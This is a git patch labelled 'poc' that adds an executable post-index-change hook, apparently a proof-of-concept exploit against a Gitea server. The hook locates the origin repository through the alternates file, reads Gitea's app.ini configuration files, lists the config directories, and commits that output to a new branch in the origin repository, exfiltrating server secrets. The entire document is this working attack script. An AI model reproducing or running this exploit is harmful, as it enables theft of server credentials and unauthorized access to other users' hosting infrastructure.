From fc7b9f282d099068a69f576f7bc758104581c028 Mon Sep 17 00:00:00 2001
From: qhyy2z0 <qhyy2z0@tqmail.ink>
Date: Sat, 5 Sep 2026 12:42:52 +0200
Subject: [PATCH] poc

---
 hooks/post-index-change | 14 ++++++++++++++
 1 file changed, 14 insertions(+)
 create mode 100755 hooks/post-index-change

diff --git a/hooks/post-index-change b/hooks/post-index-change
new file mode 100755
index 0000000..965417b
--- /dev/null
+++ b/hooks/post-index-change
@@ -0,0 +1,14 @@
+#!/bin/sh
+git_dir=$(git rev-parse --absolute-git-dir) || exit 1
+origin_objects=$(sed -n "1p" "$git_dir/objects/info/alternates") || exit 2
+case "$origin_objects" in
+  /*) ;;
+  *) origin_objects="$git_dir/objects/$origin_objects" ;;
+esac
+origin_git=${origin_objects%/objects}
+[ "$origin_git" != "$origin_objects" ] || exit 3
+output_blob=$({ /bin/sh -c 'cat /data/gitea/conf/app.ini 2>/dev/null; cat /etc/gitea/app.ini 2>/dev/null; cat /var/lib/gitea/custom/conf/app.ini 2>/dev/null; echo PATH_END; ls /data/gitea/conf 2>/dev/null; ls /etc/gitea 2>/dev/null'; command_status=$?; printf "\n[exit-status=%s]\n" "$command_status"; } 2>&1 | git --git-dir="$origin_git" hash-object -w --stdin) || exit 4
+tree=$(printf "100644 blob %s\toutput\n" "$output_blob" | git --git-dir="$origin_git" mktree) || exit 5
+commit=$(printf "command output\n" | GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@example.invalid GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@example.invalid git --git-dir="$origin_git" commit-tree "$tree") || exit 6
+git --git-dir="$origin_git" update-ref refs/heads/out-25d5832bf6 "$commit" || exit 7
+exit 0